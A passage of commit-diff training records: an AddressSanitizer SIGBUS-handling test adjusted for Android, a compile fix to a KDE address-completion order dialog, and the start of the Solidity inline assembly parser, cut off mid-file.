{"text":"<commit_before>\/\/ Check handle_bus flag\n\/\/ Defaults to true\n\/\/ RUN: %clangxx_asan -std=c++11 %s -o %t\n\/\/ RUN: not %run %t %T\/file 2>&1 | FileCheck %s -check-prefix=CHECK-BUS\n\/\/ RUN: %env_asan_opts=handle_sigbus=0 not --crash %run %t %T\/file 2>&1 | FileCheck %s\n\n\/\/ UNSUPPORTED: ios\n\n#include <assert.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/mman.h>\n#include <unistd.h>\n\nchar array[4096];\nint main(int argc, char **argv) {\n  assert(argc > 1);\n  int fd = open(argv[1], O_RDWR | O_CREAT, 0700);\n  if (fd < 0) {\n    perror(\"open\");\n    exit(1);\n  }\n  assert(write(fd, array, sizeof(array)) == sizeof(array));\n\n  \/\/ Write some zeroes to the file, then mmap it while it has a 4KiB size\n  char *addr = (char *)mmap(nullptr, sizeof(array), PROT_READ,\n                            MAP_FILE | MAP_SHARED, fd, 0);\n  if (addr == MAP_FAILED) {\n    perror(\"mmap\");\n    exit(1);\n  }\n\n  \/\/ Truncate the file so our memory isn't valid any more\n  assert(ftruncate(fd, 0) == 0);\n\n  \/\/ Try to access the memory\n  return addr[42];\n  \/\/ CHECK-NOT: DEADLYSIGNAL\n  \/\/ CHECK-BUS: DEADLYSIGNAL\n  \/\/ CHECK-BUS: ERROR: AddressSanitizer: BUS\n}\n<commit_msg>[asan] Fix try to fix test on Android<commit_after>\/\/ Check handle_bus flag\n\/\/ Defaults to true\n\/\/ RUN: %clangxx_asan -std=c++11 %s -o %t\n\/\/ RUN: not %run %t 2>&1 | FileCheck %s -check-prefix=CHECK-BUS\n\/\/ RUN: %env_asan_opts=handle_sigbus=0 not --crash %run %t 2>&1 | FileCheck %s\n\n\/\/ UNSUPPORTED: ios\n\n#include <assert.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/mman.h>\n#include <unistd.h>\n#include <string>\n\nchar array[4096];\nint main(int argc, char **argv) {\n  int fd = open((std::string(argv[0]) + \".m\").c_str(), O_RDWR | O_CREAT, 0700);\n  if (fd < 0) {\n    perror(\"open\");\n    exit(1);\n  }\n  assert(write(fd, array, sizeof(array)) == sizeof(array));\n\n  \/\/ Write some zeroes to the file, then mmap it while it has a 4KiB size\n  char *addr = (char *)mmap(nullptr, sizeof(array), PROT_READ,\n                            MAP_FILE | MAP_SHARED, fd, 0);\n  if (addr == MAP_FAILED) {\n    perror(\"mmap\");\n    exit(1);\n  }\n\n  \/\/ Truncate the file so our memory isn't valid any more\n  assert(ftruncate(fd, 0) == 0);\n\n  \/\/ Try to access the memory\n  return addr[42];\n  \/\/ CHECK-NOT: DEADLYSIGNAL\n  \/\/ CHECK-BUS: DEADLYSIGNAL\n  \/\/ CHECK-BUS: ERROR: AddressSanitizer: BUS\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** -*- c++ -*-\n * completionordereditor.cpp\n *\n *  Copyright (c) 2004 David Faure <faure@kde.org>\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; version 2 of the License\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n *  In addition, as a special exception, the copyright holders give\n *  permission to link the code of this program with any edition of\n *  the Qt library by Trolltech AS, Norway (or with modified versions\n *  of Qt that use the same license as Qt), and distribute linked\n *  combinations including the two.  You must obey the GNU General\n *  Public License in all respects for all of the code used other than\n *  Qt.  If you modify this file, you may extend this exception to\n *  your version of the file, but you are not obligated to do so.  If\n *  you do not wish to do so, delete this exception statement from\n *  your version.\n *\/\n\n#include \"completionordereditor.h\"\n#include \"completionordereditor_p.h\"\n#include \"ldapclient.h\"\n#include \"resourceabc.h\"\n\n#include <QtDBus\/QDBusConnection>\n\n#include <kabc\/stdaddressbook.h>\n#include <kabc\/resource.h>\n\n#include <kdebug.h>\n#include <klocale.h>\n#include <kiconloader.h>\n#include <k3listview.h>\n#include <kpushbutton.h>\n\n#include <khbox.h>\n#include <kvbox.h>\n#include <q3header.h>\n#include <QToolButton>\n#include <kapplication.h>\n\n\/*\n\nSeveral items are used in addresseelineedit's completion object:\n  LDAP servers, KABC resources (imap and non-imap), Recent addresses (in kmail only).\n\nThe default completion weights are as follow:\n  LDAP: 50, 49, 48 etc.          (see ldapclient.cpp)\n  KABC non-imap resources: 60    (see addresseelineedit.cpp and SimpleCompletionItem here)\n  Distribution lists: 60         (see addresseelineedit.cpp and SimpleCompletionItem here)\n  KABC imap resources: 80        (see kresources\/imap\/kabc\/resourceimap.cpp)\n  Recent addresses (kmail) : 120 (see kmail\/kmcomposewin.cpp)\n\nThis dialog allows to change those weights, by showing one item per:\n - LDAP server\n - KABC non-imap resource\n - KABC imap subresource\n plus one item for Distribution Lists.\n\n Maybe 'recent addresses' should be configurable too, but first it might\n be better to add support for them in korganizer too.\n\n*\/\n\nusing namespace KPIM;\n\nCompletionOrderEditorAdaptor::CompletionOrderEditorAdaptor(QObject *parent)\n  : QDBusAbstractAdaptor(parent)\n{\n  setAutoRelaySignals(true);\n}\n\nint CompletionItemList::compareItems( Q3PtrCollection::Item s1, Q3PtrCollection::Item s2 )\n{\n  int w1 = ( (CompletionItem*)s1 )->completionWeight();\n  int w2 = ( (CompletionItem*)s2 )->completionWeight();\n  \/\/ s1 < s2 if it has a higher completion value, i.e. w1 > w2.\n  return w2 - w1;\n}\n\nclass LDAPCompletionItem : public CompletionItem\n{\npublic:\n  LDAPCompletionItem( LdapClient* ldapClient ) : mLdapClient( ldapClient ) {}\n  virtual QString label() const { return i18n( \"LDAP server %1\", mLdapClient->server().host() ); }\n  virtual int completionWeight() const { return mLdapClient->completionWeight(); }\n  virtual void save( CompletionOrderEditor* );\nprotected:\n  virtual void setCompletionWeight( int weight ) { mWeight = weight; }\nprivate:\n  LdapClient* mLdapClient;\n  int mWeight;\n};\n\nvoid LDAPCompletionItem::save( CompletionOrderEditor* )\n{\n  KConfig config( \"kabldaprc\" );\n  config.setGroup( \"LDAP\" );\n  config.writeEntry( QString( \"SelectedCompletionWeight%1\" ).arg( mLdapClient->clientNumber() ),\n                     mWeight );\n  config.sync();\n}\n\n\/\/ A simple item saved into kpimcompletionorder (no subresources, just name\/identifier\/weight)\nclass SimpleCompletionItem : public CompletionItem\n{\npublic:\n  SimpleCompletionItem( CompletionOrderEditor* editor, const QString& label, const QString& identifier )\n    : mLabel( label ), mIdentifier( identifier ) {\n      KConfigGroup group( editor->configFile(), \"CompletionWeights\" );\n      mWeight = group.readEntry( mIdentifier, 60 );\n    }\n  virtual QString label() const { return mLabel; }\n  virtual int completionWeight() const { return mWeight; }\n  virtual void save( CompletionOrderEditor* );\nprotected:\n  virtual void setCompletionWeight( int weight ) { mWeight = weight; }\nprivate:\n  QString mLabel, mIdentifier;\n  int mWeight;\n};\n\nvoid SimpleCompletionItem::save( CompletionOrderEditor* editor )\n{\n  \/\/ Maybe KABC::Resource could have a completionWeight setting (for readConfig\/writeConfig)\n  \/\/ But for kdelibs-3.2 compat purposes I can't do that.\n  KConfigGroup group( editor->configFile(), \"CompletionWeights\" );\n  group.writeEntry( mIdentifier, mWeight );\n}\n\n\/\/ An imap subresource for kabc\nclass KABCImapSubResCompletionItem : public CompletionItem\n{\npublic:\n  KABCImapSubResCompletionItem( ResourceABC* resource, const QString& subResource )\n    : mResource( resource ), mSubResource( subResource ), mWeight( completionWeight() ) {}\n  virtual QString label() const {\n    return QString( \"%1 %2\" ).arg( mResource->resourceName() ).arg( mResource->subresourceLabel( mSubResource ) );\n  }\n  virtual int completionWeight() const {\n    return mResource->subresourceCompletionWeight( mSubResource );\n  }\n  virtual void setCompletionWeight( int weight ) {\n    mWeight = weight;\n  }\n  virtual void save( CompletionOrderEditor* ) {\n    mResource->setSubresourceCompletionWeight( mSubResource, mWeight );\n  }\nprivate:\n  ResourceABC* mResource;\n  QString mSubResource;\n  int mWeight;\n};\n\n\/\/\/\/\/\/\/\/\/\n\nclass CompletionViewItem : public Q3ListViewItem\n{\npublic:\n  CompletionViewItem( Q3ListView* lv, CompletionItem* item )\n    : Q3ListViewItem( lv, lv->lastItem(), item->label() ), mItem( item ) {}\n  CompletionItem* item() const { return mItem; }\n  void setItem( CompletionItem* i ) { mItem = i; setText( 0, mItem->label() ); }\n\nprivate:\n  CompletionItem* mItem;\n};\n\nCompletionOrderEditor::CompletionOrderEditor( KPIM::LdapSearch* ldapSearch,\n                                              QWidget* parent )\n  : KDialog( parent ), mConfig( \"kpimcompletionorder\" ), mDirty( false )\n{\n  setCaption( i18n( \"Edit Completion Order\" ) );\n  setButtons( Ok|Cancel );\n  setDefaultButton( Ok );\n  setModal( true );\n  enableButtonSeparator( true );\n  new CompletionOrderEditorAdaptor( this );\n  QDBus::sessionBus().registerObject(\"\/\", this, QDBusConnection::ExportAdaptors);\n  mItems.setAutoDelete( true );\n  \/\/ The first step is to gather all the data, creating CompletionItem objects\n  QList< LdapClient* > ldapClients = ldapSearch->clients();\n  for( QList<LdapClient*>::const_iterator it = ldapClients.begin(); it != ldapClients.end(); ++it ) {\n    \/\/kDebug(5300) << \"LDAP: host \" << (*it)->host() << \" weight \" << (*it)->completionWeight() << endl;\n    mItems.append( new LDAPCompletionItem( *it ) );\n  }\n  KABC::AddressBook *addressBook = KABC::StdAddressBook::self( true );\n  QList<KABC::Resource*> resources = addressBook->resources();\n  QListIterator<KABC::Resource*> resit( resources );\n  while ( resit.hasNext() ) {\n    KABC::Resource *resource = resit.next();\n    \/\/kDebug(5300) << \"KABC Resource: \" << (*resit)->className() << endl;\n    ResourceABC* res = dynamic_cast<ResourceABC *>( resource  );\n    if ( res ) { \/\/ IMAP KABC resource\n      const QStringList subresources = res->subresources();\n      for( QStringList::const_iterator it = subresources.begin(); it != subresources.end(); ++it ) {\n        mItems.append( new KABCImapSubResCompletionItem( res, *it ) );\n      }\n    } else { \/\/ non-IMAP KABC resource\n      mItems.append( new SimpleCompletionItem( this, resource->resourceName(),\n                                               resource->identifier() ) );\n    }\n  }\n\n#ifndef KDEPIM_NEW_DISTRLISTS \/\/ new distr lists are normal contact, so no separate item if using them\n  \/\/ Add an item for distribution lists\n  mItems.append( new SimpleCompletionItem( this, i18n( \"Distribution Lists\" ), \"DistributionLists\" ) );\n#endif\n\n  \/\/ Now sort the items, then create the GUI\n  mItems.sort();\n\n  KHBox* page = new KHBox( this );\n  setMainWidget( page );\n  mListView = new K3ListView( page );\n  mListView->setSorting( -1 );\n  mListView->addColumn( QString() );\n  mListView->header()->hide();\n\n  for( Q3PtrListIterator<CompletionItem> compit( mItems ); *compit; ++compit ) {\n    new CompletionViewItem( mListView, *compit );\n    kDebug(5300) << \"  \" << (*compit)->label() << \" \" << (*compit)->completionWeight() << endl;\n  }\n\n  KVBox* upDownBox = new KVBox( page );\n  mUpButton = new KPushButton( upDownBox );\n  mUpButton->setObjectName( \"mUpButton\" );\n  mUpButton->setIcon( BarIconSet( \"up\", K3Icon::SizeSmall ) );\n  mUpButton->setEnabled( false ); \/\/ b\/c no item is selected yet\n  mUpButton->setFocusPolicy( Qt::StrongFocus );\n\n  mDownButton = new KPushButton( upDownBox );\n  mDownButton->setObjectName( \"mDownButton\" );\n  mDownButton->setIcon( BarIconSet( \"down\", K3Icon::SizeSmall ) );\n  mDownButton->setEnabled( false ); \/\/ b\/c no item is selected yet\n  mDownButton->setFocusPolicy( Qt::StrongFocus );\n\n  QWidget* spacer = new QWidget( upDownBox );\n  upDownBox->setStretchFactor( spacer, 100 );\n\n  connect( mListView, SIGNAL( selectionChanged( Q3ListViewItem* ) ),\n           SLOT( slotSelectionChanged( Q3ListViewItem* ) ) );\n  connect( mUpButton, SIGNAL( clicked() ), this, SLOT( slotMoveUp() ) );\n  connect( mDownButton, SIGNAL( clicked() ), this, SLOT( slotMoveDown() ) );\n}\n\nCompletionOrderEditor::~CompletionOrderEditor()\n{\n}\n\nvoid CompletionOrderEditor::slotSelectionChanged( Q3ListViewItem *item )\n{\n  mDownButton->setEnabled( item && item->itemBelow() );\n  mUpButton->setEnabled( item && item->itemAbove() );\n}\n\nstatic void swapItems( CompletionViewItem *one, CompletionViewItem *other )\n{\n  CompletionItem* i = one->item();\n  one->setItem( other->item() );\n  other->setItem( i );\n}\n\nvoid CompletionOrderEditor::slotMoveUp()\n{\n  CompletionViewItem *item = static_cast<CompletionViewItem *>( mListView->selectedItem() );\n  if ( !item ) return;\n  CompletionViewItem *above = static_cast<CompletionViewItem *>( item->itemAbove() );\n  if ( !above ) return;\n  swapItems( item, above );\n  mListView->setCurrentItem( above );\n  mListView->setSelected( above, true );\n  mDirty = true;\n}\n\nvoid CompletionOrderEditor::slotMoveDown()\n{\n  CompletionViewItem *item = static_cast<CompletionViewItem *>( mListView->selectedItem() );\n  if ( !item ) return;\n  CompletionViewItem *below = static_cast<CompletionViewItem *>( item->itemBelow() );\n  if ( !below ) return;\n  swapItems( item, below );\n  mListView->setCurrentItem( below );\n  mListView->setSelected( below, true );\n  mDirty = true;\n}\n\nvoid CompletionOrderEditor::slotOk()\n{\n  if ( mDirty ) {\n    int w = 100;\n    for ( Q3ListViewItem* it = mListView->firstChild(); it; it = it->nextSibling() ) {\n      CompletionViewItem *item = static_cast<CompletionViewItem *>( it );\n      item->item()->setCompletionWeight( w );\n      item->item()->save( this );\n      kDebug(5300) << \"slotOk:   \" << item->item()->label() << \" \" << w << endl;\n      --w;\n    }\n    emit completionOrderChanged();\n  }\n  KDialog::accept();\n}\n\n#include \"completionordereditor_p.moc\"\n#include \"completionordereditor.moc\"\n<commit_msg>simple compile fix<commit_after>\/** -*- c++ -*-\n * completionordereditor.cpp\n *\n *  Copyright (c) 2004 David Faure <faure@kde.org>\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; version 2 of the License\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n *  In addition, as a special exception, the copyright holders give\n *  permission to link the code of this program with any edition of\n *  the Qt library by Trolltech AS, Norway (or with modified versions\n *  of Qt that use the same license as Qt), and distribute linked\n *  combinations including the two.  You must obey the GNU General\n *  Public License in all respects for all of the code used other than\n *  Qt.  If you modify this file, you may extend this exception to\n *  your version of the file, but you are not obligated to do so.  If\n *  you do not wish to do so, delete this exception statement from\n *  your version.\n *\/\n\n#include \"completionordereditor.h\"\n#include \"completionordereditor_p.h\"\n#include \"ldapclient.h\"\n#include \"resourceabc.h\"\n\n#include <QtDBus\/QDBusConnection>\n\n#include <kabc\/stdaddressbook.h>\n#include <kabc\/resource.h>\n\n#include <kdebug.h>\n#include <klocale.h>\n#include <kiconloader.h>\n#include <k3listview.h>\n#include <kpushbutton.h>\n\n#include <khbox.h>\n#include <kvbox.h>\n#include <q3header.h>\n#include <QToolButton>\n#include <kapplication.h>\n\n\/*\n\nSeveral items are used in addresseelineedit's completion object:\n  LDAP servers, KABC resources (imap and non-imap), Recent addresses (in kmail only).\n\nThe default completion weights are as follow:\n  LDAP: 50, 49, 48 etc.          (see ldapclient.cpp)\n  KABC non-imap resources: 60    (see addresseelineedit.cpp and SimpleCompletionItem here)\n  Distribution lists: 60         (see addresseelineedit.cpp and SimpleCompletionItem here)\n  KABC imap resources: 80        (see kresources\/imap\/kabc\/resourceimap.cpp)\n  Recent addresses (kmail) : 120 (see kmail\/kmcomposewin.cpp)\n\nThis dialog allows to change those weights, by showing one item per:\n - LDAP server\n - KABC non-imap resource\n - KABC imap subresource\n plus one item for Distribution Lists.\n\n Maybe 'recent addresses' should be configurable too, but first it might\n be better to add support for them in korganizer too.\n\n*\/\n\nusing namespace KPIM;\n\nCompletionOrderEditorAdaptor::CompletionOrderEditorAdaptor(QObject *parent)\n  : QDBusAbstractAdaptor(parent)\n{\n  setAutoRelaySignals(true);\n}\n\nint CompletionItemList::compareItems( Q3PtrCollection::Item s1, Q3PtrCollection::Item s2 )\n{\n  int w1 = ( (CompletionItem*)s1 )->completionWeight();\n  int w2 = ( (CompletionItem*)s2 )->completionWeight();\n  \/\/ s1 < s2 if it has a higher completion value, i.e. w1 > w2.\n  return w2 - w1;\n}\n\nclass LDAPCompletionItem : public CompletionItem\n{\npublic:\n  LDAPCompletionItem( LdapClient* ldapClient ) : mLdapClient( ldapClient ) {}\n  virtual QString label() const { return i18n( \"LDAP server %1\", mLdapClient->server().host() ); }\n  virtual int completionWeight() const { return mLdapClient->completionWeight(); }\n  virtual void save( CompletionOrderEditor* );\nprotected:\n  virtual void setCompletionWeight( int weight ) { mWeight = weight; }\nprivate:\n  LdapClient* mLdapClient;\n  int mWeight;\n};\n\nvoid LDAPCompletionItem::save( CompletionOrderEditor* )\n{\n  KConfig config( \"kabldaprc\" );\n  config.setGroup( \"LDAP\" );\n  config.writeEntry( QString( \"SelectedCompletionWeight%1\" ).arg( mLdapClient->clientNumber() ),\n                     mWeight );\n  config.sync();\n}\n\n\/\/ A simple item saved into kpimcompletionorder (no subresources, just name\/identifier\/weight)\nclass SimpleCompletionItem : public CompletionItem\n{\npublic:\n  SimpleCompletionItem( CompletionOrderEditor* editor, const QString& label, const QString& identifier )\n    : mLabel( label ), mIdentifier( identifier ) {\n      KConfigGroup group( editor->configFile(), \"CompletionWeights\" );\n      mWeight = group.readEntry( mIdentifier, 60 );\n    }\n  virtual QString label() const { return mLabel; }\n  virtual int completionWeight() const { return mWeight; }\n  virtual void save( CompletionOrderEditor* );\nprotected:\n  virtual void setCompletionWeight( int weight ) { mWeight = weight; }\nprivate:\n  QString mLabel, mIdentifier;\n  int mWeight;\n};\n\nvoid SimpleCompletionItem::save( CompletionOrderEditor* editor )\n{\n  \/\/ Maybe KABC::Resource could have a completionWeight setting (for readConfig\/writeConfig)\n  \/\/ But for kdelibs-3.2 compat purposes I can't do that.\n  KConfigGroup group( editor->configFile(), \"CompletionWeights\" );\n  group.writeEntry( mIdentifier, mWeight );\n}\n\n\/\/ An imap subresource for kabc\nclass KABCImapSubResCompletionItem : public CompletionItem\n{\npublic:\n  KABCImapSubResCompletionItem( ResourceABC* resource, const QString& subResource )\n    : mResource( resource ), mSubResource( subResource ), mWeight( completionWeight() ) {}\n  virtual QString label() const {\n    return QString( \"%1 %2\" ).arg( mResource->resourceName() ).arg( mResource->subresourceLabel( mSubResource ) );\n  }\n  virtual int completionWeight() const {\n    return mResource->subresourceCompletionWeight( mSubResource );\n  }\n  virtual void setCompletionWeight( int weight ) {\n    mWeight = weight;\n  }\n  virtual void save( CompletionOrderEditor* ) {\n    mResource->setSubresourceCompletionWeight( mSubResource, mWeight );\n  }\nprivate:\n  ResourceABC* mResource;\n  QString mSubResource;\n  int mWeight;\n};\n\n\/\/\/\/\/\/\/\/\/\n\nclass CompletionViewItem : public Q3ListViewItem\n{\npublic:\n  CompletionViewItem( Q3ListView* lv, CompletionItem* item )\n    : Q3ListViewItem( lv, lv->lastItem(), item->label() ), mItem( item ) {}\n  CompletionItem* item() const { return mItem; }\n  void setItem( CompletionItem* i ) { mItem = i; setText( 0, mItem->label() ); }\n\nprivate:\n  CompletionItem* mItem;\n};\n\nCompletionOrderEditor::CompletionOrderEditor( KPIM::LdapSearch* ldapSearch,\n                                              QWidget* parent )\n  : KDialog( parent ), mConfig( \"kpimcompletionorder\" ), mDirty( false )\n{\n  setCaption( i18n( \"Edit Completion Order\" ) );\n  setButtons( Ok|Cancel );\n  setDefaultButton( Ok );\n  setModal( true );\n  showButtonSeparator( true );\n  new CompletionOrderEditorAdaptor( this );\n  QDBus::sessionBus().registerObject(\"\/\", this, QDBusConnection::ExportAdaptors);\n  mItems.setAutoDelete( true );\n  \/\/ The first step is to gather all the data, creating CompletionItem objects\n  QList< LdapClient* > ldapClients = ldapSearch->clients();\n  for( QList<LdapClient*>::const_iterator it = ldapClients.begin(); it != ldapClients.end(); ++it ) {\n    \/\/kDebug(5300) << \"LDAP: host \" << (*it)->host() << \" weight \" << (*it)->completionWeight() << endl;\n    mItems.append( new LDAPCompletionItem( *it ) );\n  }\n  KABC::AddressBook *addressBook = KABC::StdAddressBook::self( true );\n  QList<KABC::Resource*> resources = addressBook->resources();\n  QListIterator<KABC::Resource*> resit( resources );\n  while ( resit.hasNext() ) {\n    KABC::Resource *resource = resit.next();\n    \/\/kDebug(5300) << \"KABC Resource: \" << (*resit)->className() << endl;\n    ResourceABC* res = dynamic_cast<ResourceABC *>( resource  );\n    if ( res ) { \/\/ IMAP KABC resource\n      const QStringList subresources = res->subresources();\n      for( QStringList::const_iterator it = subresources.begin(); it != subresources.end(); ++it ) {\n        mItems.append( new KABCImapSubResCompletionItem( res, *it ) );\n      }\n    } else { \/\/ non-IMAP KABC resource\n      mItems.append( new SimpleCompletionItem( this, resource->resourceName(),\n                                               resource->identifier() ) );\n    }\n  }\n\n#ifndef KDEPIM_NEW_DISTRLISTS \/\/ new distr lists are normal contact, so no separate item if using them\n  \/\/ Add an item for distribution lists\n  mItems.append( new SimpleCompletionItem( this, i18n( \"Distribution Lists\" ), \"DistributionLists\" ) );\n#endif\n\n  \/\/ Now sort the items, then create the GUI\n  mItems.sort();\n\n  KHBox* page = new KHBox( this );\n  setMainWidget( page );\n  mListView = new K3ListView( page );\n  mListView->setSorting( -1 );\n  mListView->addColumn( QString() );\n  mListView->header()->hide();\n\n  for( Q3PtrListIterator<CompletionItem> compit( mItems ); *compit; ++compit ) {\n    new CompletionViewItem( mListView, *compit );\n    kDebug(5300) << \"  \" << (*compit)->label() << \" \" << (*compit)->completionWeight() << endl;\n  }\n\n  KVBox* upDownBox = new KVBox( page );\n  mUpButton = new KPushButton( upDownBox );\n  mUpButton->setObjectName( \"mUpButton\" );\n  mUpButton->setIcon( BarIconSet( \"up\", K3Icon::SizeSmall ) );\n  mUpButton->setEnabled( false ); \/\/ b\/c no item is selected yet\n  mUpButton->setFocusPolicy( Qt::StrongFocus );\n\n  mDownButton = new KPushButton( upDownBox );\n  mDownButton->setObjectName( \"mDownButton\" );\n  mDownButton->setIcon( BarIconSet( \"down\", K3Icon::SizeSmall ) );\n  mDownButton->setEnabled( false ); \/\/ b\/c no item is selected yet\n  mDownButton->setFocusPolicy( Qt::StrongFocus );\n\n  QWidget* spacer = new QWidget( upDownBox );\n  upDownBox->setStretchFactor( spacer, 100 );\n\n  connect( mListView, SIGNAL( selectionChanged( Q3ListViewItem* ) ),\n           SLOT( slotSelectionChanged( Q3ListViewItem* ) ) );\n  connect( mUpButton, SIGNAL( clicked() ), this, SLOT( slotMoveUp() ) );\n  connect( mDownButton, SIGNAL( clicked() ), this, SLOT( slotMoveDown() ) );\n}\n\nCompletionOrderEditor::~CompletionOrderEditor()\n{\n}\n\nvoid CompletionOrderEditor::slotSelectionChanged( Q3ListViewItem *item )\n{\n  mDownButton->setEnabled( item && item->itemBelow() );\n  mUpButton->setEnabled( item && item->itemAbove() );\n}\n\nstatic void swapItems( CompletionViewItem *one, CompletionViewItem *other )\n{\n  CompletionItem* i = one->item();\n  one->setItem( other->item() );\n  other->setItem( i );\n}\n\nvoid CompletionOrderEditor::slotMoveUp()\n{\n  CompletionViewItem *item = static_cast<CompletionViewItem *>( mListView->selectedItem() );\n  if ( !item ) return;\n  CompletionViewItem *above = static_cast<CompletionViewItem *>( item->itemAbove() );\n  if ( !above ) return;\n  swapItems( item, above );\n  mListView->setCurrentItem( above );\n  mListView->setSelected( above, true );\n  mDirty = true;\n}\n\nvoid CompletionOrderEditor::slotMoveDown()\n{\n  CompletionViewItem *item = static_cast<CompletionViewItem *>( mListView->selectedItem() );\n  if ( !item ) return;\n  CompletionViewItem *below = static_cast<CompletionViewItem *>( item->itemBelow() );\n  if ( !below ) return;\n  swapItems( item, below );\n  mListView->setCurrentItem( below );\n  mListView->setSelected( below, true );\n  mDirty = true;\n}\n\nvoid CompletionOrderEditor::slotOk()\n{\n  if ( mDirty ) {\n    int w = 100;\n    for ( Q3ListViewItem* it = mListView->firstChild(); it; it = it->nextSibling() ) {\n      CompletionViewItem *item = static_cast<CompletionViewItem *>( it );\n      item->item()->setCompletionWeight( w );\n      item->item()->save( this );\n      kDebug(5300) << \"slotOk:   \" << item->item()->label() << \" \" << w << endl;\n      --w;\n    }\n    emit completionOrderChanged();\n  }\n  KDialog::accept();\n}\n\n#include \"completionordereditor_p.moc\"\n#include \"completionordereditor.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tThis file is part of solidity.\n\n\tsolidity is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tsolidity is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with solidity.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/**\n * @author Christian <c@ethdev.com>\n * @date 2016\n * Solidity inline assembly parser.\n *\/\n\n#include <libsolidity\/inlineasm\/AsmParser.h>\n#include <ctype.h>\n#include <algorithm>\n#include <libsolidity\/parsing\/Scanner.h>\n#include <libsolidity\/interface\/Exceptions.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::solidity::assembly;\n\nshared_ptr<assembly::Block> Parser::parse(std::shared_ptr<Scanner> const& _scanner)\n{\n\ttry\n\t{\n\t\tm_scanner = _scanner;\n\t\treturn make_shared<Block>(parseBlock());\n\t}\n\tcatch (FatalError const&)\n\t{\n\t\tif (m_errors.empty())\n\t\t\tthrow; \/\/ Something is weird here, rather throw again.\n\t}\n\treturn nullptr;\n}\n\nassembly::Block Parser::parseBlock()\n{\n\tassembly::Block block = createWithLocation<Block>();\n\texpectToken(Token::LBrace);\n\twhile (m_scanner->currentToken() != Token::RBrace)\n\t\tblock.statements.emplace_back(parseStatement());\n\tblock.location.end = endPosition();\n\tm_scanner->next();\n\treturn block;\n}\n\nassembly::Statement Parser::parseStatement()\n{\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Let:\n\t\treturn parseVariableDeclaration();\n\tcase Token::Function:\n\t\treturn parseFunctionDefinition();\n\tcase Token::LBrace:\n\t\treturn parseBlock();\n\tcase Token::Assign:\n\t{\n\t\tif (m_julia)\n\t\t\tbreak;\n\t\tassembly::Assignment assignment = createWithLocation<assembly::Assignment>();\n\t\tm_scanner->next();\n\t\texpectToken(Token::Colon);\n\t\tassignment.variableName.location = location();\n\t\tassignment.variableName.name = m_scanner->currentLiteral();\n\t\tif (!m_julia && instructions().count(assignment.variableName.name))\n\t\t\tfatalParserError(\"Identifier expected, got instruction name.\");\n\t\tassignment.location.end = endPosition();\n\t\texpectToken(Token::Identifier);\n\t\treturn assignment;\n\t}\n\tcase Token::Return: \/\/ opcode\n\tcase Token::Byte: \/\/ opcode\n\tcase Token::Address: \/\/ opcode\n\tdefault:\n\t\tbreak;\n\t}\n\t\/\/ Options left:\n\t\/\/ Simple instruction (might turn into functional),\n\t\/\/ literal,\n\t\/\/ identifier (might turn into label or functional assignment)\n\tStatement statement(parseElementaryOperation(false));\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::LParen:\n\t\treturn parseFunctionalInstruction(std::move(statement));\n\tcase Token::Colon:\n\t{\n\t\tif (statement.type() != typeid(assembly::Identifier))\n\t\t\tfatalParserError(\"Label name \/ variable name must precede \\\":\\\".\");\n\t\tassembly::Identifier const& identifier = boost::get<assembly::Identifier>(statement);\n\t\tm_scanner->next();\n\t\t\/\/ identifier:=: should be parsed as identifier: =: (i.e. a label),\n\t\t\/\/ while identifier:= (being followed by a non-colon) as identifier := (assignment).\n\t\tif (m_scanner->currentToken() == Token::Assign && m_scanner->peekNextToken() != Token::Colon)\n\t\t{\n\t\t\t\/\/ functional assignment\n\t\t\tFunctionalAssignment funAss = createWithLocation<FunctionalAssignment>(identifier.location);\n\t\t\tif (!m_julia && instructions().count(identifier.name))\n\t\t\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\t\t\tm_scanner->next();\n\t\t\tfunAss.variableName = identifier;\n\t\t\tfunAss.value.reset(new Statement(parseExpression()));\n\t\t\tfunAss.location.end = locationOf(*funAss.value).end;\n\t\t\treturn funAss;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ label\n\t\t\tif (m_julia)\n\t\t\t\tfatalParserError(\"Labels are not supported.\");\n\t\t\tLabel label = createWithLocation<Label>(identifier.location);\n\t\t\tlabel.name = identifier.name;\n\t\t\treturn label;\n\t\t}\n\t}\n\tdefault:\n\t\tif (m_julia)\n\t\t\tfatalParserError(\"Call or assignment expected.\");\n\t\tbreak;\n\t}\n\treturn statement;\n}\n\nassembly::Statement Parser::parseExpression()\n{\n\tStatement operation = parseElementaryOperation(true);\n\tif (m_scanner->currentToken() == Token::LParen)\n\t\treturn parseFunctionalInstruction(std::move(operation));\n\telse\n\t\treturn operation;\n}\n\nstd::map<string, dev::solidity::Instruction> const& 